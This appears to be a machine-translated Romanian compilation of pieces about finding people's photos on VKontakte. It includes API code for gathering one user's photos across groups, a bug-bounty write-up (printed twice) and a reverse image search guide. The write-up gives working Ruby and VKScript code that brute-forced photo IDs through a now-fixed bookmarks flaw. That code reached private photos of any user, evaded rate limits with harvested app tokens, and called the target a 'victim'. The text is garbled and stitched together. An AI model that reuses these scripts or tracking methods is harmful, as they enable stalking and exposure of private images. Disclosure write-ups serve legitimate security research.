Vk faces este cel mai mare motor de căutare privat. Cum să vizualizați fotografiile ascunse în contact prin codul sursă

Există multe pagini publice pe VKontakte, cum ar fi: 90-60-90, 40 KG, Fete sport. În aceste pagini publice, utilizatorii postează fotografii cu figurile lor, fotografii „înainte” și „după” cu dietă/sport etc. Numărul total de fotografii din albumele acestor grupuri depășește uneori zeci de mii. Atunci când postează fotografii, mulți nu se gândesc la consecințe, crezând naiv că dacă își aruncă fotografia în mii de altele asemănătoare, nimeni nu o va găsi. Mai jos, tăietura descrie procesul de căutare a fotografiilor unui anumit utilizator în grupuri.

Formularea problemei
  1. uid - ID de utilizator VKontakte
  2. gid - ID-ul grupului VKontakte

Necesar:

  1. Găsiți toate fotografiile cu utilizatorul ID publicate în grup gid
  2. Stabiliți în ce album se află fiecare fotografie
API-ul VKontakte

Contactul nu are o metodă de preluare directă a fotografiilor postate de un anumit utilizator dintr-un anumit grup. Cu toate acestea, puteți obține rezultatul dorit folosind următoarea schemă:
1. Obțineți o listă de albume folosind metoda photos.getAlbums:

VK.api("photos.getAlbums", ( gid: gid), function(result)( if (result.response)( // Lista de albume este în matrice result.response // ID-ul albumului este în ajutor field)else( // Nu s-a putut obține lista de albume ) ));

2. Obțineți o listă de fotografii din album (aid) folosind metoda photos.get:

VK.api("photos.get", ( gid: gid, aid: aid), function(result)( if (result.response)( // Lista de fotografii este în matrice result.response // ID-ul proprietarul fotografiei este conținut în câmpul owner_id // ID-ul fotografiei este conținut în câmpul pid )else( // Nu s-a putut obține lista de fotografii din album ) ));

3. Obțineți adresa URL a fotografiei folosind metoda photos.getById

VK.api("photos.getById", ( fotografii: pids ), function(result)( if(result.response)( for(var i=0; i

Cum să accelerezi căutarea?

Parcurgerea tuturor grupurilor este un proces destul de lung și rularea acestuia de fiecare dată când căutați o fotografie a unei anumite persoane nu este recomandabilă. Pentru a accelera căutarea, este suficient să indexați toate fotografiile adăugând un index la tabelul intern.
Tabelul trebuie să conțină doar 3 câmpuri:

  • uid - ID utilizator
  • gid - ID-ul grupului
  • pid - act de identitate cu fotografie

După indexarea grupurilor, rulați interogarea

SELECT * FROM tabelul WHERE uid = uid

Găsirea fotografiilor prietenilor

Folosind metoda friends.get, puteți obține o listă de prieteni și apoi căutați în baza de date pentru a obține fotografii ale prietenilor:

VK.api("friends.get", ( user_id: uid), function(result)( if(result.response)( // În continuare, căutăm fotografii după ID-urile prietenilor) ));

Legături
  • Site pentru căutarea fotografiilor: photovk.ru
  • Aplicația VKontakte pentru căutarea fotografiilor:

tl;dr

A fost descoperită o vulnerabilitate în marcajele VK, care a făcut posibilă primirea de link-uri directe către fotografii private din mesaje personale și albume ale oricărui utilizator/grup. A fost scris un script care a sortat fotografiile utilizatorilor pentru o anumită perioadă și apoi, prin această vulnerabilitate, a primit link-uri directe către imagini. Pe scurt, puteți obține toate fotografiile de ieri în 1 minut, toate fotografiile încărcate săptămâna trecută în 7 minute, luna trecută în 20 de minute, anul trecut în 2 ore. Vulnerabilitatea a fost acum remediată. Administrația VKontakte a plătit o recompensă de 10.000 de voturi.


Povestea a început când mi-a fost trimisă o imagine într-un mesaj personal pe VKontakte. De obicei, dacă ceva este important, îl încarc în cloud, dar în cazul meu acest lucru nu a fost necesar și am decis să folosesc funcția de marcare VKontakte.

Pe scurt despre această funcționalitate: toate lucrurile pe care utilizatorul le-au plăcut sunt adăugate la marcaje; Există, de asemenea, o funcție pentru adăugarea manuală a unui link către un utilizator și a unui link intern VKontakte. Ultimul punct mi s-a părut foarte interesant, deoarece după ce am adăugat un link la fotografie, am văzut previzualizarea și textul acesteia cu tipul de entitate adăugată:

Când se adaugă un link, serverul îl analizează, încearcă să afle la ce entitate se referă și preia informații despre acest obiect din baza de date. De obicei, atunci când scrieți acest tip de funcție cu multe condiții, probabilitatea ca dezvoltatorul să uite ceva este foarte mare. Așa că nu mi-am putut permite să renunț și am decis să îmi iau câteva minute pentru a experimenta puțin.

Drept urmare, am reușit să găsesc ceva. Adăugând un link către o fotografie, o notă sau un videoclip care nu este accesibil, puteți obține puține informații private despre obiect. În cazul fotografiilor și videoclipurilor, aceasta este o mică previzualizare (150x150), pe care este destul de greu să vedeți ceva titlul pentru note private; Prin metoda API fave.getLinks Era posibil să obțineți linkuri către imagine, dar din nou dimensiunea a fost prea mică (75px și 130px). Deci, practic, nimic grav.

Am decis să merg la versiunea mobilă a site-ului pentru a verifica dacă totul era afișat acolo la fel ca în versiunea obișnuită. Privind codul paginii, am văzut asta:

Da! În valoarea atributului data-src_big a existat un link direct la imaginea originală!

Astfel, a fost posibil să obțineți un link direct către orice imagine de pe VKontakte, indiferent de locul în care a fost încărcată și de ce setări de confidențialitate avea. Aceasta poate fi o imagine din mesaje personale sau o fotografie din albumele private ale oricărui utilizator/grup.

S-ar părea că aș putea să mă opresc aici și să scriu dezvoltatorilor, dar m-am întrebat dacă este posibil, prin exploatarea acestei vulnerabilități, să obțin acces la toate (sau descărcate într-o anumită perioadă de timp) fotografiile utilizatorului. Problema principală aici, după cum înțelegeți, a fost că linkul către o fotografie privată a formularului nu este întotdeauna cunoscut fotografiaXXXXXX_XXXXXXXXX pentru a adăuga la marcajele dvs. Mi-a venit în minte gândul de a căuta prin id-ul fotografiei, dar din anumite motive am respins-o imediat ca nebunească. Am verificat metodele legate de fotografii în API, m-am uitat la modul în care aplicația funcționează cu albumele, dar nu am găsit scurgeri care să mă ajute să obțin o listă cu ID-urile tuturor fotografiilor private ale utilizatorului. Eram pe cale să renunț la această idee, dar uitându-mă din nou la link-ul cu fotografia, mi-am dat seama dintr-o dată că trecerea peste bord era o idee bună.

Cum funcționează fotografiile în VK

Cum ai putea înlocui, link către fotografie foto52708106_359542386 constă din două părți: (ID utilizator)_(un număr ciudat). Cum se formează a doua parte?

Din păcate, după ce am petrecut două ore experimentând, încă nu am înțeles asta. În 2012, la HighLoad++, Oleg Illarionov a spus câteva cuvinte despre cum stochează fotografiile, despre fragmentarea orizontală și selectarea aleatorie a unui server pentru încărcare, dar aceste informații nu mi-au dat nimic, deoarece nu există nicio legătură între id-ul serverului și ID foto. Este clar că există un fel de contor global, dar există o altă logică acolo... Pentru că dacă al doilea număr s-ar fi format folosind o incrementare automată obișnuită, atunci valorile ID-urilor cu fotografii ar fi atins cu mult timp în urmă valori uriașe. (pentru Facebook, de exemplu, în acest moment este de ~ 700 de trilioane), dar pentru Vkontakte această valoare este de numai ~ 400 de milioane (deși, judecând după statistici, zilnic utilizatorii încarcă peste 30 de milioane de fotografii). Acestea. Este clar că această cifră nu este unică, dar în același timp nu este întâmplătoare. Am scris un scenariu care a trecut prin fotografiile utilizatorilor „vechi” și, folosind datele primite, am făcut un grafic cu cât de mult s-a schimbat această cifră cu fiecare an:

Se poate observa că valorile fluctuează în funcție de unii factori (număr de servere sau logică nouă?). Dar ideea este că sunt suficient de mici (mai ales în ultimii 2-3 ani) și este foarte ușor de calculat intervalul de id-uri pentru perioada de timp dorită. Adică, pentru a afla legături directe către fotografiile unui utilizator, să zicem, de anul trecut, trebuie să încercați să marcați doar 30 de milioane (de la _320000000 la _350000000) diferite variante de link-uri! Mai jos am descris o tehnică de forță brută care mi-a permis să fac asta în câteva minute.

Trecând prin fotografii

Puteți adăuga toate acestea manual prin interfață sau puteți scrie un script care adaugă un link la marcaje, dar asta ar fi plictisitor și consuma mult timp. Viteza de căutare în acest caz ar fi de 3 marcaje pe secundă, deoarece trimite mai mult de trei solicitări pe secundă către serverul Vkontakte este interzis.

Accelerează căutarea x25

Pentru a ocoli limita de 3 cereri măcar puțin, am decis să folosesc metoda a executa. Într-un apel la această metodă, sunt posibile 25 de apeluri la metode API.

Var start = parseInt(Args.start); var end = parseInt(Args.end); var victimId = Args.id; var link = "http://vk.com/photo" + victimId + "_"; while(start != end) ( API.fave.addLink(( "link": link + start )); start = start + 1; );
Astfel, am reușit să creștem viteza de forță brută la 3*25 marcaje/sec. În ultimul an, ar fi durat mult să sortăm fotografiile, dar pentru perioade scurte această metodă de sortare era deja destul de bună.

Accelerăm căutarea x25 * număr de solicitări paralele pe secundă

Limita numărului de solicitări/sec se aplică fiecărei aplicații separat, și nu întregului utilizator. Deci nimic nu te împiedică să trimiți multe solicitări în paralel, dar în același timp să folosești token-uri din diferite aplicații.

Mai întâi trebuia să găsim (sau să creăm) numărul necesar de aplicații. A fost scris un script care caută aplicații independente într-o gamă dată de identificatori de aplicație:

Class StandaloneAppsFinder attr_reader:app_ids def initialize(params) @range = params[:in_range] @app_ids = final def search (@range).each do |app_id| răspuns = deschis("https://api.vk.com/method/apps.get?app_id=#(app_id)").read app = JSON.parse(response)["response"] app_ids<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
De asemenea, a fost posibilă selectarea aplicațiilor după numărul de utilizatori pentru a accelera și mai mult căutarea:

Dar am decis să nu mă deranjez cu asta.

Ok, aplicațiile au fost găsite, acum trebuie să dea permisiunea datelor utilizatorului nostru și să primească jetoane. Pentru autorizare a trebuit să folosim mecanismul Implicit Flow. A trebuit să analizez adresa URL de autorizare din dialogul OAuth și să scot jetonul după redirecționare. Această clasă necesită module cookie pentru a funcționa. p,l(login.vk.com) și remixsid(vk.com):

Class Authenticator attr_reader:access_tokens def initialize(cookie_header) @cookies = ( „Cookie” => cookie_header ) @access_tokens = end def authorize_apps(aplicații) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s access_tokens<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
Numărul de aplicații găsite este egal cu numărul de solicitări paralele. Pentru a paralela acest lucru, s-a decis să se folosească bijuteria Typhoeus, care s-a dovedit în alte sarcini. Rezultatul este un mic brute forcer ca acesta:

Clasa PhotosBruteforcer PHOTOS_ID_BY_PERIOD = ( "azi" => 366300000..366500000, "ieri" => 366050000..366300000, "luna_actuală" => 365000000..366500000..000.00.000..366300000, "curente" => 365000000 ..365000000, „an_actual” = > 350000000..366500000, "last_year" => 320000000..350000000 ) def initialize(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY_PERIOD =(token dez = 0 (@period).step(25) do |photo_id| url = "https://api.vk.com/method/execute?access_token=#(tokens)&code=#(vkscript(photo_id))" encoded_url = URI.escape(url).gsub("+", "% 2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero? terminați hydra.run, cu excepția cazului în care hydra.queued_requests.count.zero? end private def vkscript(photo_id)<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
Pentru a accelera și mai mult forța brută, a existat o încercare de a scăpa de corpul inutil din răspuns, dar CAP Solicitarea serverului VKontakte returnează o eroare 501 Neimplementat.

Versiunea finală a scriptului arată astfel:

Necesită „nokogiri” necesită „open-uri” necesită „typhoeus” necesită „json” necesită „./standalone_apps_finder” necesită „./photos_bruteforcer” necesită „./authenticator” bruteforcer = PhotosBruteforcer.new(victim_id: ARGV, punct: ARGV) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l - cookie-uri de la login.vk.com # remixsid - cookie from vk.com authenticator = Authenticator.new("p=;" + "l =;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
După rularea programului, marcajele conțineau toate fotografiile utilizatorului pentru o anumită perioadă. Tot ce a mai rămas a fost să accesați versiunea mobilă a VKontakte, să deschideți consola browserului, să scoateți linkuri directe și să vă bucurați de fotografiile în dimensiunea lor originală.

Rezultate

În general, totul depinde de conexiunea ta la internet și de viteza serverelor proxy, de latența serverelor Vkontakte, de puterea procesorului și de mulți alți factori. După ce am încercat scriptul de mai sus pe contul meu, am primit următoarele numere (fără a lua în considerare timpul petrecut primind jetoane):

Tabelul arată timpul mediu necesar pentru a încerca documentele de identitate cu fotografie într-o anumită perioadă. Sunt sigur că toate acestea ar fi putut fi accelerate de 10-20 de ori. De exemplu, într-un script de forță brută, faceți o coadă mare de toate cererile și sincronizarea normală între ele, deoarece în implementarea mea, o solicitare cu un timeout va încetini întregul proces. Și, în general, puteți cumpăra doar câteva exemple de pe EC2 și puteți obține toate fotografiile oricărui utilizator într-o oră. Dar deja voiam să dorm.

Și, în general, nu contează cât timp petrece atacatorul pentru asta, 5 ore sau toată ziua, pentru că într-un fel sau altul va primi link-uri către imagini private. Capacitatea de a obține acces în siguranță la informații private într-un interval de timp limitat este principala amenințare pe care o reprezintă această vulnerabilitate.

Raportarea unei vulnerabilități

La început, raportul a fost trimis serviciului de asistență, dar după un răspuns de genul „mulțumesc, probabil că o vom remedia cumva...” și o săptămână de așteptare, m-am simțit oarecum trist. Mulțumiri lui Bo0oM, care a ajutat să contacteze direct dezvoltatorii. După aceea, erorile au fost închise în câteva ore, iar câteva zile mai târziu, administrația a transferat o recompensă în valoare de 10k în contul meu.

tl;dr

A fost descoperită o vulnerabilitate în marcajele VK, care a făcut posibilă primirea de link-uri directe către fotografii private din mesaje personale și albume ale oricărui utilizator/grup. A fost scris un script care a sortat fotografiile utilizatorilor pentru o anumită perioadă și apoi, prin această vulnerabilitate, a primit link-uri directe către imagini. Pe scurt, puteți obține toate fotografiile de ieri în 1 minut, toate fotografiile încărcate săptămâna trecută în 7 minute, luna trecută în 20 de minute, anul trecut în 2 ore. Vulnerabilitatea a fost acum remediată. Administrația VKontakte a plătit o recompensă de 10.000 de voturi.


Povestea a început când mi-a fost trimisă o imagine într-un mesaj personal pe VKontakte. De obicei, dacă ceva este important, îl încarc în cloud, dar în cazul meu acest lucru nu a fost necesar și am decis să folosesc funcția de marcare VKontakte.

Pe scurt despre această funcționalitate: toate lucrurile pe care utilizatorul le-au plăcut sunt adăugate la marcaje; Există, de asemenea, o funcție pentru adăugarea manuală a unui link către un utilizator și a unui link intern VKontakte. Ultimul punct mi s-a părut foarte interesant, deoarece după ce am adăugat un link la fotografie, am văzut previzualizarea și textul acesteia cu tipul de entitate adăugată:

Când se adaugă un link, serverul îl analizează, încearcă să afle la ce entitate se referă și preia informații despre acest obiect din baza de date. De obicei, atunci când scrieți acest tip de funcție cu multe condiții, probabilitatea ca dezvoltatorul să uite ceva este foarte mare. Așa că nu mi-am putut permite să renunț și am decis să îmi iau câteva minute pentru a experimenta puțin.

Drept urmare, am reușit să găsesc ceva. Adăugând un link către o fotografie, o notă sau un videoclip care nu este accesibil, puteți obține puține informații private despre obiect. În cazul fotografiilor și videoclipurilor, aceasta este o mică previzualizare (150x150), pe care este destul de greu să vedeți ceva titlul pentru note private; Prin metoda API fave.getLinks Era posibil să obțineți linkuri către imagine, dar din nou dimensiunea a fost prea mică (75px și 130px). Deci, practic, nimic grav.

Am decis să merg la versiunea mobilă a site-ului pentru a verifica dacă totul era afișat acolo la fel ca în versiunea obișnuită. Privind codul paginii, am văzut asta:

Da! În valoarea atributului data-src_big a existat un link direct la imaginea originală!

Astfel, a fost posibil să obțineți un link direct către orice imagine de pe VKontakte, indiferent de locul în care a fost încărcată și de ce setări de confidențialitate avea. Aceasta poate fi o imagine din mesaje personale sau o fotografie din albumele private ale oricărui utilizator/grup.

S-ar părea că aș putea să mă opresc aici și să scriu dezvoltatorilor, dar m-am întrebat dacă este posibil, prin exploatarea acestei vulnerabilități, să obțin acces la toate (sau descărcate într-o anumită perioadă de timp) fotografiile utilizatorului. Problema principală aici, după cum înțelegeți, a fost că linkul către o fotografie privată a formularului nu este întotdeauna cunoscut fotografiaXXXXXX_XXXXXXXXX pentru a adăuga la marcajele dvs. Mi-a venit în minte gândul de a căuta prin id-ul fotografiei, dar din anumite motive am respins-o imediat ca nebunească. Am verificat metodele legate de fotografii în API, m-am uitat la modul în care aplicația funcționează cu albumele, dar nu am găsit scurgeri care să mă ajute să obțin o listă cu ID-urile tuturor fotografiilor private ale utilizatorului. Eram pe cale să renunț la această idee, dar uitându-mă din nou la link-ul cu fotografia, mi-am dat seama dintr-o dată că trecerea peste bord era o idee bună.

Cum funcționează fotografiile în VK

Cum ai putea înlocui, link către fotografie foto52708106_359542386 constă din două părți: (ID utilizator)_(un număr ciudat). Cum se formează a doua parte?

Din păcate, după ce am petrecut două ore experimentând, încă nu am înțeles asta. În 2012, la HighLoad++, Oleg Illarionov a spus câteva cuvinte despre cum stochează fotografiile, despre fragmentarea orizontală și selectarea aleatorie a unui server pentru încărcare, dar aceste informații nu mi-au dat nimic, deoarece nu există nicio legătură între id-ul serverului și ID foto. Este clar că există un fel de contor global, dar există o altă logică acolo... Pentru că dacă al doilea număr s-ar fi format folosind o incrementare automată obișnuită, atunci valorile ID-urilor cu fotografii ar fi atins cu mult timp în urmă valori uriașe. (pentru Facebook, de exemplu, în acest moment este de ~ 700 de trilioane), dar pentru Vkontakte această valoare este de numai ~ 400 de milioane (deși, judecând după statistici, zilnic utilizatorii încarcă peste 30 de milioane de fotografii). Acestea. Este clar că această cifră nu este unică, dar în același timp nu este întâmplătoare. Am scris un scenariu care a trecut prin fotografiile utilizatorilor „vechi” și, folosind datele primite, am făcut un grafic cu cât de mult s-a schimbat această cifră cu fiecare an:

Se poate observa că valorile fluctuează în funcție de unii factori (număr de servere sau logică nouă?). Dar ideea este că sunt suficient de mici (mai ales în ultimii 2-3 ani) și este foarte ușor de calculat intervalul de id-uri pentru perioada de timp dorită. Adică, pentru a afla legături directe către fotografiile unui utilizator, să zicem, de anul trecut, trebuie să încercați să marcați doar 30 de milioane (de la _320000000 la _350000000) diferite variante de link-uri! Mai jos am descris o tehnică de forță brută care mi-a permis să fac asta în câteva minute.

Trecând prin fotografii

Puteți adăuga toate acestea manual prin interfață sau puteți scrie un script care adaugă un link la marcaje, dar asta ar fi plictisitor și consuma mult timp. Viteza de căutare în acest caz ar fi de 3 marcaje pe secundă, deoarece trimite mai mult de trei solicitări pe secundă către serverul Vkontakte este interzis.

Accelerează căutarea x25

Pentru a ocoli limita de 3 cereri măcar puțin, am decis să folosesc metoda a executa. Într-un apel la această metodă, sunt posibile 25 de apeluri la metode API.

Var start = parseInt(Args.start); var end = parseInt(Args.end); var victimId = Args.id; var link = "http://vk.com/photo" + victimId + "_"; while(start != end) ( API.fave.addLink(( "link": link + start )); start = start + 1; );
Astfel, am reușit să creștem viteza de forță brută la 3*25 marcaje/sec. În ultimul an, ar fi durat mult să sortăm fotografiile, dar pentru perioade scurte această metodă de sortare era deja destul de bună.

Accelerăm căutarea x25 * număr de solicitări paralele pe secundă

Limita numărului de solicitări/sec se aplică fiecărei aplicații separat, și nu întregului utilizator. Deci nimic nu te împiedică să trimiți multe solicitări în paralel, dar în același timp să folosești token-uri din diferite aplicații.

Mai întâi trebuia să găsim (sau să creăm) numărul necesar de aplicații. A fost scris un script care caută aplicații independente într-o gamă dată de identificatori de aplicație:

Class StandaloneAppsFinder attr_reader:app_ids def initialize(params) @range = params[:in_range] @app_ids = final def search (@range).each do |app_id| răspuns = deschis("https://api.vk.com/method/apps.get?app_id=#(app_id)").read app = JSON.parse(response)["response"] app_ids<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
De asemenea, a fost posibilă selectarea aplicațiilor după numărul de utilizatori pentru a accelera și mai mult căutarea:

Dar am decis să nu mă deranjez cu asta.

Ok, aplicațiile au fost găsite, acum trebuie să dea permisiunea datelor utilizatorului nostru și să primească jetoane. Pentru autorizare a trebuit să folosim mecanismul Implicit Flow. A trebuit să analizez adresa URL de autorizare din dialogul OAuth și să scot jetonul după redirecționare. Această clasă necesită module cookie pentru a funcționa. p,l(login.vk.com) și remixsid(vk.com):

Class Authenticator attr_reader:access_tokens def initialize(cookie_header) @cookies = ( „Cookie” => cookie_header ) @access_tokens = end def authorize_apps(aplicații) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s access_tokens<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
Numărul de aplicații găsite este egal cu numărul de solicitări paralele. Pentru a paralela acest lucru, s-a decis să se folosească bijuteria Typhoeus, care s-a dovedit în alte sarcini. Rezultatul este un mic brute forcer ca acesta:

Clasa PhotosBruteforcer PHOTOS_ID_BY_PERIOD = ( "azi" => 366300000..366500000, "ieri" => 366050000..366300000, "luna_actuală" => 365000000..366500000..000.00.000..366300000, "curente" => 365000000 ..365000000, „an_actual” = > 350000000..366500000, "last_year" => 320000000..350000000 ) def initialize(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY_PERIOD =(token dez = 0 (@period).step(25) do |photo_id| url = "https://api.vk.com/method/execute?access_token=#(tokens)&code=#(vkscript(photo_id))" encoded_url = URI.escape(url).gsub("+", "% 2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero? terminați hydra.run, cu excepția cazului în care hydra.queued_requests.count.zero? end private def vkscript(photo_id)<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
Pentru a accelera și mai mult forța brută, a existat o încercare de a scăpa de corpul inutil din răspuns, dar CAP Solicitarea serverului VKontakte returnează o eroare 501 Neimplementat.

Versiunea finală a scriptului arată astfel:

Necesită „nokogiri” necesită „open-uri” necesită „typhoeus” necesită „json” necesită „./standalone_apps_finder” necesită „./photos_bruteforcer” necesită „./authenticator” bruteforcer = PhotosBruteforcer.new(victim_id: ARGV, punct: ARGV) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l - cookie-uri de la login.vk.com # remixsid - cookie from vk.com authenticator = Authenticator.new("p=;" + "l =;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
După rularea programului, marcajele conțineau toate fotografiile utilizatorului pentru o anumită perioadă. Tot ce a mai rămas a fost să accesați versiunea mobilă a VKontakte, să deschideți consola browserului, să scoateți linkuri directe și să vă bucurați de fotografiile în dimensiunea lor originală.

Rezultate

În general, totul depinde de conexiunea ta la internet și de viteza serverelor proxy, de latența serverelor Vkontakte, de puterea procesorului și de mulți alți factori. După ce am încercat scriptul de mai sus pe contul meu, am primit următoarele numere (fără a lua în considerare timpul petrecut primind jetoane):

Tabelul arată timpul mediu necesar pentru a încerca documentele de identitate cu fotografie într-o anumită perioadă. Sunt sigur că toate acestea ar fi putut fi accelerate de 10-20 de ori. De exemplu, într-un script de forță brută, faceți o coadă mare de toate cererile și sincronizarea normală între ele, deoarece în implementarea mea, o solicitare cu un timeout va încetini întregul proces. Și, în general, puteți cumpăra doar câteva exemple de pe EC2 și puteți obține toate fotografiile oricărui utilizator într-o oră. Dar deja voiam să dorm.

Și, în general, nu contează cât timp petrece atacatorul pentru asta, 5 ore sau toată ziua, pentru că într-un fel sau altul va primi link-uri către imagini private. Capacitatea de a obține acces în siguranță la informații private într-un interval de timp limitat este principala amenințare pe care o reprezintă această vulnerabilitate.

Raportarea unei vulnerabilități

La început, raportul a fost trimis serviciului de asistență, dar după un răspuns de genul „mulțumesc, probabil că o vom remedia cumva...” și o săptămână de așteptare, m-am simțit oarecum trist. Vă mulțumesc foarte mult pentru că ați ajutat să contactați direct dezvoltatorii. După aceea, erorile au fost închise în câteva ore, iar câteva zile mai târziu, administrația a transferat o recompensă în valoare de 10k în contul meu.

Astăzi vă vom spune, dragi cititori, despre o caracteristică extrem de neobișnuită care este prezentă în VK - căutarea de fotografii similare, când puteți găsi utilizatori care au aceeași imagine încărcată în profilul lor.

De ce este necesar acest lucru, vă întrebați? Există două motive principale.

  • Primul. Căutând imagini identice, puteți oricând să găsiți (sau să nu găsiți) persoana care vă folosește fotografiile. Cu alte cuvinte, veți putea să vă detectați propriile clone.
  • Al doilea motiv. Să presupunem că trebuie să găsești o persoană, dar ai doar fotografia lui. Cu ajutorul lui, poți folosi căutarea de imagini pe VK și, foarte posibil, vei găsi persoana pe care o cauți.

Este de remarcat faptul că există multe servicii de căutare de fotografii, de exemplu, Google le are, dar în acest caz căutarea nu se efectuează pe întregul Internet, ci numai pe VKontakte.

Caut utilizator dupa poza

Să începem să căutăm. Să presupunem că trebuie să găsim clone sau utilizatori care au încărcat o anumită fotografie.

Primul pas este să deschidem poza pe care o căutăm. Dacă nu este încărcat în albumul dvs. foto, descărcați-l.

Deschideți o imagine, de exemplu:

Ne uităm la bara de adrese a browserului. Ar trebui să vedeți o adresă cam așa: https://vk.com/photo********_384*****. Sub stele fotografie******** al tău se ascunde și numerele 384****** , care sunt după liniuță, este numărul fotografiei. Copiați această adresă, dar fără https://vk.com/, adică ar trebui să reușiți fotografie********_384*****.

Închideți fila sau lăsați-o deschisă și deschideți una nouă, accesați pagina VK și selectați secțiunea „Știrile mele” din meniu. Veți vedea un flux de știri:

Dacă există un element „Fotografii” lângă subsecțiunea „Feed”, omiteți acest pas. Dacă elementul lipsește, faceți clic pe cruce și adăugați elementul „Fotografii”.

Faceți clic pe elementul „Fotografii”. Va apărea bara de căutare „Căutare după fotografii”.

Scriem un cuvânt într-o linie copie:și adăugați un link la fotografia pe care am copiat-o mai devreme, adică ar trebui să obțineți ceva de genul acesta: copie:foto********_384*****. Vă rugăm să rețineți că asteriscurile sunt doar un exemplu, sub ele sunt id-ul și numărul de serie al fotografiei! De exemplu, dacă facem o fotografie specifică a lui Pavel Durov pentru a căuta, atunci în rând trebuie să scriem, de exemplu, copie:photo1_327778612, unde photo1 este ID-ul utilizatorului (Durova în acest caz), iar 327778612 este numărul de serie al fotografiei. Apoi apăsați tasta Enter.

În cazul nostru, am putut detecta 7 fotografii identice.

Dacă dați clic pe fiecare dintre ele, puteți vedea la ce utilizator sau public a fost încărcată imaginea. Probabil, căutarea se efectuează numai pe acele fotografii care sunt în domeniul public. Nu am putut găsi nicio imagine care a fost blocată de vizionare.

  • Serghei Savenkov

    un fel de recenzie „scurtă”... de parcă ne-am grăbi pe undeva